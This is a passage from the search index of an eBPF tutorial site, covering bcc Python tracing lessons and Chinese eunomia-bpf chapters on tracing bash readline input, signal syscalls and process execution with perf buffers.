BPF context, and then the actual arguments to the function. We'll attach this to blk_start_request(), where the first argument is struct request *. start.update(&req, &ts): We're using the pointer to the request struct as a key in our hash. What? This is commonplace in tracing. Pointers to structs turn out to be great keys, as they are unique: two structs can't have the same pointer address. (Just be careful about when it gets free'd and reused.) So what we're really doing is tagging the request struct, which describes the disk I/O, with our own timestamp, so that we can time it. There's two common keys used for storing timestamps: pointers to structs, and, thread IDs (for timing function entry to return). req->__data_len: We're dereferencing members of struct request. See its definition in the kernel source for what members are there. bcc actually rewrites these expressions to be a series of bpf_probe_read_kernel() calls. Sometimes bcc can't handle a complex dereference, and you need to call bpf_probe_read_kernel() directly. This is a pretty interesting program, and if you can understand all the code, you'll understand many important basics. We're still using the bpf_trace_printk() hack, so let's fix that next.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 6. disksnoop.py","id":"329","title":"Lesson 6. disksnoop.py"},"33":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第五篇，主要介绍如何使用 uprobe 捕获 bash 的 readline 函数调用。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用","id":"33","title":"eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用"},"330":{"body":"Let's finally stop using bpf_trace_printk() and use the proper BPF_PERF_OUTPUT() interface. This will also mean we stop getting the free trace_field() members like PID and timestamp, and will need to fetch them directly. Sample output while commands are run in another session: # hello_perf_output.py\nTIME(s) COMM PID MESSAGE\n0.000000000 bash 22986 Hello, perf_output!\n0.021080275 systemd-udevd 484 Hello, perf_output!\n0.021359520 systemd-udevd 484 Hello, perf_output!\n0.021590610 systemd-udevd 484 Hello, perf_output!\n[...] Code is examples/tracing/hello_perf_output.py : from bcc import BPF # define BPF program\nprog = \"\"\"\n#include <linux/sched.h> // define output data structure in C\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n}\n\"\"\" # load BPF program\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"MESSAGE\")) # process event\nstart = 0\ndef print_event(cpu, data, size): global start event = b[\"events\"].event(data) if start == 0: start = event.ts time_s = (float(event.ts - start)) / 1000000000 print(\"%-18.9f %-16s %-6d %s\" % (time_s, event.comm, event.pid, \"Hello, perf_output!\")) # loop with callback to print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: b.perf_buffer_poll() Things to learn: struct data_t: This defines the C struct we'll use to pass data from kernel to user space. BPF_PERF_OUTPUT(events): This names our output channel \"events\". struct data_t data = {};: Create an empty data_t struct that we'll then populate. bpf_get_current_pid_tgid(): Returns the process ID in the lower 32 bits (kernel's view of the PID, which in user space is usually presented as the thread ID), and the thread group ID in the upper 32 bits (what user space often thinks of as the PID). By directly setting this to a u32, we discard the upper 32 bits. Should you be presenting the PID or the TGID? For a multi-threaded app, the TGID will be the same, so you need the PID to differentiate them, if that's what you want. It's also a question of expectations for the end user. bpf_get_current_comm(): Populates the first argument address with the current process name. events.perf_submit(): Submit the event for user space to read via a perf ring buffer. def print_event(): Define a Python function that will handle reading events from the events stream. b[\"events\"].event(data): Now get the event as a Python object, auto-generated from the C declaration. b[\"events\"].open_perf_buffer(print_event): Associate the Python print_event function with the events stream. while 1: b.perf_buffer_poll(): Block waiting for events.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 7. hello_perf_output.py","id":"330","title":"Lesson 7. hello_perf_output.py"},"331":{"body":"Rewrite sync_timing.py, from a prior lesson, to use BPF_PERF_OUTPUT.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 8. sync_perf_output.py","id":"331","title":"Lesson 8. sync_perf_output.py"},"332":{"body":"The following tool records a histogram of disk I/O sizes. Sample output: # bitehist.py\nTracing... Hit Ctrl-C to end.\n^C kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| Code is examples/tracing/bitehist.py : from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h>\n#include <linux/blkdev.h> BPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\") # header\nprint(\"Tracing... Hit Ctrl-C to end.\") # trace until Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: print() # output\nb[\"dist\"].print_log2_hist(\"kbytes\") A recap from earlier lessons: kprobe__: This prefix means the rest will be treated as a kernel function name that will be instrumented using kprobe. struct pt_regs *ctx, struct request *req: Arguments to kprobe. The ctx is registers and BPF context, the req is the first argument to the instrumented function: blk_account_io_done(). req->__data_len: Dereferencing that member. New things to learn: BPF_HISTOGRAM(dist): Defines a BPF map object that is a histogram, and names it \"dist\". dist.increment(): Increments the histogram bucket index provided as first argument by one by default. Optionally, custom increments can be passed as the second argument. bpf_log2l(): Returns the log-2 of the provided value. This becomes the index of our histogram, so that we're constructing a power-of-2 histogram. b[\"dist\"].print_log2_hist(\"kbytes\"): Prints the \"dist\" histogram as power-of-2, with a column header of \"kbytes\". The only data transferred from kernel to user space is the bucket counts, making this efficient.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 9. bitehist.py","id":"332","title":"Lesson 9. bitehist.py"},"333":{"body":"Write a program that times disk I/O, and prints a histogram of their latency. Disk I/O instrumentation and timing can be found in the disksnoop.py program from a prior lesson, and histogram code can be found in bitehist.py from a prior lesson.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 10. disklatency.py","id":"333","title":"Lesson 10. disklatency.py"},"334":{"body":"This example is split into separate Python and C files. Example output: # vfsreadlat.py 1\nTracing... Hit Ctrl-C to end. usecs : count distribution 0 -> 1 : 0 | | 2 -> 3 : 2 |*********** | 4 -> 7 : 7 |****************************************| 8 -> 15 : 4 |********************** | usecs : count distribution 0 -> 1 : 29 |****************************************| 2 -> 3 : 28 |************************************** | 4 -> 7 : 4 |***** | 8 -> 15 : 8 |*********** | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 2 |** | 512 -> 1023 : 0 | | 1024 -> 2047 : 0 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 4 |***** | 8192 -> 16383 : 6 |******** | 16384 -> 32767 : 9 |************ | 32768 -> 65535 : 6 |******** | 65536 -> 131071 : 2 |** | usecs : count distribution 0 -> 1 : 11 |****************************************| 2 -> 3 : 2 |******* | 4 -> 7 : 10 |************************************ | 8 -> 15 : 8 |***************************** | 16 -> 31 : 1 |*** | 32 -> 63 : 2 |******* |\n[...] Browse the code in examples/tracing/vfsreadlat.py and examples/tracing/vfsreadlat.c . Things to learn: b = BPF(src_file = \"vfsreadlat.c\"): Read the BPF C program from a separate source file. b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\"): Attaches the BPF C function do_return() to the return of the kernel function vfs_read(). This is a kretprobe: instrumenting the return from a function, rather than its entry. b[\"dist\"].clear(): Clears the histogram.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 11. vfsreadlat.py","id":"334","title":"Lesson 11. vfsreadlat.py"},"335":{"body":"Tracing while a dd if=/dev/urandom of=/dev/null bs=8k count=5 is run: # urandomread.py\nTIME(s) COMM PID GOTBITS\n24652832.956994001 smtp 24690 384\n24652837.726500999 dd 24692 65536\n24652837.727111001 dd 24692 65536\n24652837.727703001 dd 24692 65536\n24652837.728294998 dd 24692 65536\n24652837.728888001 dd 24692 65536 Hah! I caught smtp by accident. Code is examples/tracing/urandomread.py : from __future__ import print_function\nfrom bcc import BPF # load BPF program\nb = BPF(text=\"\"\"\nTRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n}\n\"\"\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"GOTBITS\")) # format output\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) Things to learn: TRACEPOINT_PROBE(random, urandom_read): Instrument the kernel tracepoint random:urandom_read. These have a stable API, and thus are recommend to use instead of kprobes, wherever possible. You can run perf list for a list of tracepoints. Linux >= 4.7 is required to attach BPF programs to tracepoints. args->got_bits: args is auto-populated to be a structure of the tracepoint arguments. The comment above says where you can see that structure. Eg: # cat /sys/kernel/debug/tracing/events/random/urandom_read/format\nname: urandom_read\nID: 972\nformat: field:unsigned short common_type;\toffset:0;\tsize:2;\tsigned:0; field:unsigned char common_flags;\toffset:2;\tsize:1;\tsigned:0; field:unsigned char common_preempt_count;\toffset:3;\tsize:1;\tsigned:0; field:int common_pid;\toffset:4;\tsize:4;\tsigned:1; field:int got_bits;\toffset:8;\tsize:4;\tsigned:1; field:int pool_left;\toffset:12;\tsize:4;\tsigned:1; field:int input_left;\toffset:16;\tsize:4;\tsigned:1; print fmt: \"got_bits %d nonblocking_pool_entropy_left %d input_entropy_left %d\", REC->got_bits, REC->pool_left, REC->input_left In this case, we were printing the got_bits member.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 12. urandomread.py","id":"335","title":"Lesson 12. urandomread.py"},"336":{"body":"Convert disksnoop.py from a previous lesson to use the block:block_rq_issue and block:block_rq_complete tracepoints.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 13. disksnoop.py fixed","id":"336","title":"Lesson 13. disksnoop.py fixed"},"337":{"body":"This program instruments a user-level function, the strlen() library function, and frequency counts its string argument. Example output: # strlen_count.py\nTracing strlen()... Hit Ctrl-C to end.\n^C COUNT STRING 1 \" \" 1 \"/bin/ls\" 1 \".\" 1 \"cpudist.py.1\" 1 \".bashrc\" 1 \"ls --color=auto\" 1 \"key_t\"\n[...] 10 \"a7:~# \" 10 \"/root\" 12 \"LC_ALL\" 12 \"en_US.UTF-8\" 13 \"en_US.UTF-8\" 20 \"~\" 70 \"#%^,~:-=?+/}\" 340 \"\\x01\\x1b]0;root@bgregg-test: ~\\x07\\x02root@bgregg-test:~# \" These are various strings that are being processed by this library function while tracing, along with their frequency counts. strlen() was called on \"LC_ALL\" 12 times, for example. Code is examples/tracing/strlen_count.py : from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h> struct key_t { char c[80];\n};\nBPF_HASH(counts, struct key_t); int count(struct pt_regs *ctx) { if (!PT_REGS_PARM1(ctx)) return 0; struct key_t key = {}; u64 zero = 0, *val; bpf_probe_read_user(&key.c, sizeof(key.c), (void *)PT_REGS_PARM1(ctx)); // could also use `counts.increment(key)` val = counts.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n};\n\"\"\")\nb.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") # header\nprint(\"Tracing strlen()... Hit Ctrl-C to end.\") # sleep until Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: pass # print output\nprint(\"%10s %s\" % (\"COUNT\", \"STRING\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) Things to learn: PT_REGS_PARM1(ctx): This fetches the first argument to strlen(), which is the string. b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\"): Attach to library \"c\" (if this is the main program, use its pathname), instrument the user-level function strlen(), and on execution call our C function count().","breadcrumbs":"bcc Python Developer Tutorial » Lesson 14. strlen_count.py","id":"337","title":"Lesson 14. strlen_count.py"},"338":{"body":"This program instruments a user statically-defined tracing (USDT) probe, which is the user-level version of a kernel tracepoint. Sample output: # nodejs_http_server.py 24728\nTIME(s) COMM PID ARGS\n24653324.561322998 node 24728 path:/index.html\n24653335.343401998 node 24728 path:/images/welcome.png\n24653340.510164998 node 24728 path:/images/favicon.png Relevant code from examples/tracing/nodejs_http_server.py : from __future__ import print_function\nfrom bcc import BPF, USDT\nimport sys if len(sys.argv) < 2: print(\"USAGE: nodejs_http_server PID\") exit()\npid = sys.argv[1]\ndebug = 0 # load BPF program\nbpf_text = \"\"\"\n#include <uapi/linux/ptrace.h>\nint do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]={0}; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n};\n\"\"\" # enable USDT probe from given PID\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\")\nif debug: print(u.get_text()) print(bpf_text) # initialize BPF\nb = BPF(text=bpf_text, usdt_contexts=[u]) Things to learn: bpf_usdt_readarg(6, ctx, &addr): Read the address of argument 6 from the USDT probe into addr. bpf_probe_read_user(&path, sizeof(path), (void *)addr): Now the string addr points to into our path variable. u = USDT(pid=int(pid)): Initialize USDT tracing for the given PID. u.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\"): Attach our do_trace() BPF C function to the Node.js http__server__request USDT probe. b = BPF(text=bpf_text, usdt_contexts=[u]): Need to pass in our USDT object, u, to BPF object creation.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 15. nodejs_http_server.py","id":"338","title":"Lesson 15. nodejs_http_server.py"},"339":{"body":"This is an older tutorial included as a bonus lesson. Use this for recap and to reinforce what you've already learned. This is a slightly more complex tracing example than Hello World. This program will be invoked for every task change in the kernel, and record in a BPF map the new and old pids. The C program below introduces a new concept: the prev argument. This argument is treated specially by the BCC frontend, such that accesses to this variable are read from the saved context that is passed by the kprobe infrastructure. The prototype of the args starting from position 1 should match the prototype of the kernel function being kprobed. If done so, the program will have seamless access to the function parameters. #include <uapi/linux/ptrace.h>\n#include <linux/sched.h> struct key_t { u32 prev_pid; u32 curr_pid;\n}; BPF_HASH(stats, struct key_t, u64, 1024);\nint count_sched(struct pt_regs *ctx, struct task_struct *prev) { struct key_t key = {}; u64 zero = 0, *val; key.curr_pid = bpf_get_current_pid_tgid(); key.prev_pid = prev->pid; // could also use `stats.increment(key);` val = stats.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n} The userspace component loads the file shown above, and attaches it to the finish_task_switch kernel function. The [] operator of the BPF object gives access to each BPF_HASH in the program, allowing pass-through access to the values residing in the kernel. Use the object as you would any other python dict object: read, update, and deletes are all allowed. from bcc import BPF\nfrom time import sleep b = BPF(src_file=\"task_switch.c\")\nb.attach_kprobe(event=\"finish_task_switch\", fn_name=\"count_sched\") # generate many schedule events\nfor i in range(0, 100): sleep(0.01) for k, v in b[\"stats\"].items(): print(\"task_switch[%5d->%5d]=%u\" % (k.prev_pid, k.curr_pid, v.value)) These programs can be found in the files examples/tracing/task_switch.c and examples/tracing/task_switch.py respectively.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 16. task_switch.c","id":"339","title":"Lesson 16. task_switch.c"},"34":{"body":"uprobe是一种用户空间探针，uprobe探针允许在用户空间程序中动态插桩，插桩位置包括：函数入口、特定偏移处，以及函数返回处。当我们定义uprobe时，内核会在附加的指令上创建快速断点指令（x86机器上为int3指令），当程序执行到该指令时，内核将触发事件，程序陷入到内核态，并以回调函数的方式调用探针函数，执行完探针函数再返回到用户态继续执行后序的指令。 uprobe基于文件，当一个二进制文件中的一个函数被跟踪时，所有使用到这个文件的进程都会被插桩，包括那些尚未启动的进程，这样就可以在全系统范围内跟踪系统调用。 uprobe适用于在用户态去解析一些内核态探针无法解析的流量，例如http2流量（报文header被编码，内核无法解码），https流量（加密流量，内核无法解密）。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 什么是uprobe","id":"34","title":"什么是uprobe"},"340":{"body":"For further study, see Sasha Goldshtein's linux-tracing-workshop , which contains additional labs. There are also many tools in bcc /tools to study. Please read CONTRIBUTING-SCRIPTS.md if you wish to contribute tools to bcc. At the bottom of the main README.md , you'll also find methods for contacting us. Good luck, and happy tracing!","breadcrumbs":"bcc Python Developer Tutorial » Lesson 17. Further Study","id":"340","title":"Lesson 17. Further Study"},"341":{"body":"To do.","breadcrumbs":"bcc Python Developer Tutorial » Networking","id":"341","title":"Networking"},"35":{"body":"uprobe 是一种用于捕获用户空间函数调用的 eBPF 的探针，我们可以通过它来捕获用户空间程序调用的系统函数。 例如，我们可以使用 uprobe 来捕获 bash 的 readline 函数调用，从而获取用户在 bash 中输入的命令行。示例代码如下： #include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> #define TASK_COMM_LEN 16\n#define MAX_LINE_SIZE 80 /* Format of u[ret]probe section definition supporting auto-attach: * u[ret]probe/binary:function[+offset] * * binary can be an absolute/relative path or a filename; the latter is resolved to a * full binary path via bpf_program__attach_uprobe_opts. * * Specifying uprobe+ ensures we carry out strict matching; either \"uprobe\" must be * specified (and auto-attach is not possible) or the above format is specified for * auto-attach. */\nSEC(\"uretprobe//bin/bash:readline\")\nint BPF_KRETPROBE(printret, const void *ret)\n{ char str[MAX_LINE_SIZE]; char comm[TASK_COMM_LEN]; u32 pid; if (!ret) return 0; bpf_get_current_comm(&comm, sizeof(comm)); pid = bpf_get_current_pid_tgid() >> 32; bpf_probe_read_user_str(str, sizeof(str), ret); bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); return 0;\n}; char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码的作用是在 bash 的 readline 函数返回时执行指定的 BPF_KRETPROBE 函数，即 printret 函数。 在 printret 函数中，我们首先获取了调用 readline 函数的进程的进程名称和进程 ID，然后通过 bpf_probe_read_user_str 函数读取了用户输入的命令行字符串，最后通过 bpf_printk 函数打印出进程 ID、进程名称和输入的命令行字符串。 除此之外，我们还需要通过 SEC 宏来定义 uprobe 探针，并使用 BPF_KRETPROBE 宏来定义探针函数。 在 SEC 宏中，我们需要指定 uprobe 的类型、要捕获的二进制文件的路径和要捕获的函数名称。例如，上面的代码中的 SEC 宏的定义如下： SEC(\"uprobe//bin/bash:readline\") 这表示我们要捕获的是 /bin/bash 二进制文件中的 readline 函数。 接下来，我们需要使用 BPF_KRETPROBE 宏来定义探针函数，例如： BPF_KRETPROBE(printret, const void *ret) 这里的 printret 是探针函数的名称，const void *ret 是探针函数的参数，它代表被捕获的函数的返回值。 然后，我们使用了 bpf_get_current_comm 函数获取当前任务的名称，并将其存储在 comm 数组中。 bpf_get_current_comm(&comm, sizeof(comm)); 使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID，并将其存储在 pid 变量中。 pid = bpf_get_current_pid_tgid() >> 32; 使用 bpf_probe_read_user_str 函数从用户空间读取 readline 函数的返回值，并将其存储在 str 数组中。 bpf_probe_read_user_str(str, sizeof(str), ret); 最后使用 bpf_printk 函数输出 PID、任务名称和用户输入的字符串。 bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc bashreadline.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe bash-32969 [000] d..31 64001.375748: bpf_trace_printk: PID 32969 (bash) read: fff bash-32969 [000] d..31 64002.056951: bpf_trace_printk: PID 32969 (bash) read: fff 可以看到，我们成功的捕获了 bash 的 readline 函数调用，并获取了用户在 bash 中输入的命令行。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 使用 uprobe 捕获 bash 的 readline 函数调用","id":"35","title":"使用 uprobe 捕获 bash 的 readline 函数调用"},"36":{"body":"在上述代码中，我们使用了 SEC 宏来定义了一个 uprobe 探针，它指定了要捕获的用户空间程序 (bin/bash) 和要捕获的函数 (readline)。此外，我们还使用了 BPF_KRETPROBE 宏来定义了一个用于处理 readline 函数返回值的回调函数 (printret)。该函数可以获取到 readline 函数的返回值，并将其打印到内核日志中。通过这样的方式，我们就可以使用 eBPF 来捕获 bash 的 readline 函数调用，并获取用户在 bash 中输入的命令行。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 总结","id":"36","title":"总结"},"37":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第六篇，主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态","id":"37","title":"eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态"},"38":{"body":"示例代码如下： #include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> #define MAX_ENTRIES 10240\n#define TASK_COMM_LEN 16 struct event { unsigned int pid; unsigned int tpid; int sig; int ret; char comm[TASK_COMM_LEN];\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); static int probe_entry(pid_t tpid, int sig)\n{ struct event event = {}; __u64 pid_tgid; __u32 tid; pid_tgid = bpf_get_current_pid_tgid(); tid = (__u32)pid_tgid; event.pid = pid_tgid >> 32; event.tpid = tpid; event.sig = sig; bpf_get_current_comm(event.comm, sizeof(event.comm)); bpf_map_update_elem(&values, &tid, &event, BPF_ANY); return 0;\n} static int probe_exit(void *ctx, int ret)\n{ __u64 pid_tgid = bpf_get_current_pid_tgid(); __u32 tid = (__u32)pid_tgid; struct event *eventp; eventp = bpf_map_lookup_elem(&values, &tid); if (!eventp) return 0; eventp->ret = ret; bpf_printk(\"PID %d (%s) sent signal %d to PID %d, ret = %d\", eventp->pid, eventp->comm, eventp->sig, eventp->tpid, ret); cleanup: bpf_map_delete_elem(&values, &tid); return 0;\n} SEC(\"tracepoint/syscalls/sys_enter_kill\")\nint kill_entry(struct trace_event_raw_sys_enter *ctx)\n{ pid_t tpid = (pid_t)ctx->args[0]; int sig = (int)ctx->args[1]; return probe_entry(tpid, sig);\n} SEC(\"tracepoint/syscalls/sys_exit_kill\")\nint kill_exit(struct trace_event_raw_sys_exit *ctx)\n{ return probe_exit(ctx, ctx->ret);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 上面的代码定义了一个 eBPF 程序，用于捕获进程发送信号的系统调用，包括 kill、tkill 和 tgkill。它通过使用 tracepoint 来捕获系统调用的进入和退出事件，并在这些事件发生时执行指定的探针函数，例如 probe_entry 和 probe_exit。 在探针函数中，我们使用 bpf_map 存储捕获的事件信息，包括发送信号的进程 ID、接收信号的进程 ID、信号值和系统调用的返回值。在系统调用退出时，我们将获取存储在 bpf_map 中的事件信息，并使用 bpf_printk 打印进程 ID、进程名称、发送的信号和系统调用的返回值。 最后，我们还需要使用 SEC 宏来定义探针，并指定要捕获的系统调用的名称，以及要执行的探针函数。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc sigsnoop.bpf.c\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-3517 [003] d..31 82575.798191: bpf_trace_printk: PID 3517 (node) sent signal 0 to PID 3427, ret = 0 node-15194 [003] d..31 82575.849227: bpf_trace_printk: PID 15194 (node) sent signal 0 to PID 3427, ret = 0 node-30016 [003] d..31 82576.001361: bpf_trace_printk: PID 30016 (node) sent signal 0 to PID 3427, ret = 0 cpptools-srv-38617 [002] d..31 82576.461085: bpf_trace_printk: PID 38617 (cpptools-srv) sent signal 0 to PID 30496, ret = 0 node-30040 [002] d..31 82576.467720: bpf_trace_printk: PID 30016 (node) sent signal 0 to PID 3427, ret = 0","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » sigsnoop","id":"38","title":"sigsnoop"},"39":{"body":"本文主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。使用 hash map 需要定义一个结构体： struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); 并使用一些对应的 API 进行访问，例如 bpf_map_lookup_elem、bpf_map_update_elem、bpf_map_delete_elem 等。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » 总结","id":"39","title":"总结"},"4":{"body":"Google 或者其他搜索引擎查找：eBPF 询问 ChatGPT 之类的东西：eBPF 是什么？ 推荐： 阅读 ebpf 简介： https://ebpf.io/ （30min） 简要了解一下 ebpf 内核相关文档： https://prototype-kernel.readthedocs.io/en/latest/bpf/ （知道有问题去哪里查询，30min） 阅读 ebpf 中文入门指南： https://www.modb.pro/db/391570 （1h） 有大量的参考资料： https://github.com/zoidbergwill/awesome-ebpf （2-3h） 可以选自己感兴趣的 PPT 翻一翻： https://github.com/gojue/ebpf-slide （1-2h） 回答三个问题： 了解 eBPF 是什么东西？为啥要有这个玩意，不能用内核模块？ 它有什么功能？能在 Linux 内核里面完成哪些事情？有哪些 eBPF 程序的类型和 helper（不需要知道全部，但是需要知道去哪里找）？ 能拿来做什么？比如说在哪些场景中进行运用？网络、安全、可观测性？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 入门（5-7h）","id":"4","title":"eBPF 入门（5-7h）"},"40":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第七篇，主要介绍如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，不需要再通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » eBPF 入门实践教程七：捕获进程执行/退出时间，通过 perf event array 向用户态打印输出","id":"40","title":"eBPF 入门实践教程七：捕获进程执行/退出时间，通过 perf event array 向用户态打印输出"},"41":{"body":"eBPF 提供了两个环形缓冲区，可以用来将信息从 eBPF 程序传输到用户区控制器。第一个是perf环形缓冲区，，它至少从内核v4.15开始就存在了。第二个是后来引入的 BPF 环形缓冲区。本文只考虑perf环形缓冲区。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » perf buffer","id":"41","title":"perf buffer"},"42":{"body":"通过 perf event array 向用户态命令行打印输出，需要编写一个头文件，一个 C 源文件。示例代码如下： 头文件：execsnoop.h #ifndef __EXECSNOOP_H\n#define __EXECSNOOP_H #define TASK_COMM_LEN 16 struct event { int pid; int ppid; int uid; int retval; bool is_exit; char comm[TASK_COMM_LEN];\n}; #endif /* __EXECSNOOP_H */ 源文件：execsnoop.bpf.c // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include \"execsnoop.h\" struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/syscalls/sys_enter_execve\")\nint tracepoint__syscalls__sys_enter_execve(struct 